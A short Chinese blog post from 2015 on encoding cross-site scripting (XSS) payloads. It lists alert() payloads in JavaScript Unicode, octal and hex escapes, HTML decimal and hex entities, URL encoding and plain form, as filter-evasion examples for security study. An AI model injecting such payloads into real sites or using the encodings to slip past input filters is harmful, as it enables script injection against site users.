一、JS编码与HTML编码区分:

HTML实体可以使用十进制与十六进制编码;javascript可以使用Unicode与八进制与十六进制进行编码。

二、编码原理区分:

三、编码与非编码

对于JS编码:

1.<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029");</script>(JS Unicode编码)

2. <script>eval("\141\154\145\162\164\50\57\170\163\163\57\51");</script>(JS八进制编码)

3.<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");</script>(JS十六进制编码)

对于HTML编码:

1. <img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  (HTML实体十进制编码)

2. <img src=1 onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;"> (HTML实体十六进制编码)

对于URL编码:

1.%3Cscript%3Ealert(%2Fxss%2F)%3Cscript%3E

2. %3Cimg%20src%3D1%20onerror%3Dalert(%2Fxss%2F)%3E

3. %3Ca%20href%3D'javascript%3Aalert(%2Fxss%2F)'%3Eclick%20me%3C%2Fa%3E

对于非编码:

1.<script>alert(/xss/)</script>

2. <img src=1 onerror=alert(/xss/)>

3. <a href='javascript:alert(/xss/)'>click me</a>

posted on 2015-01-24 19:43  milantgh  阅读(776)  评论(0编辑  收藏  举报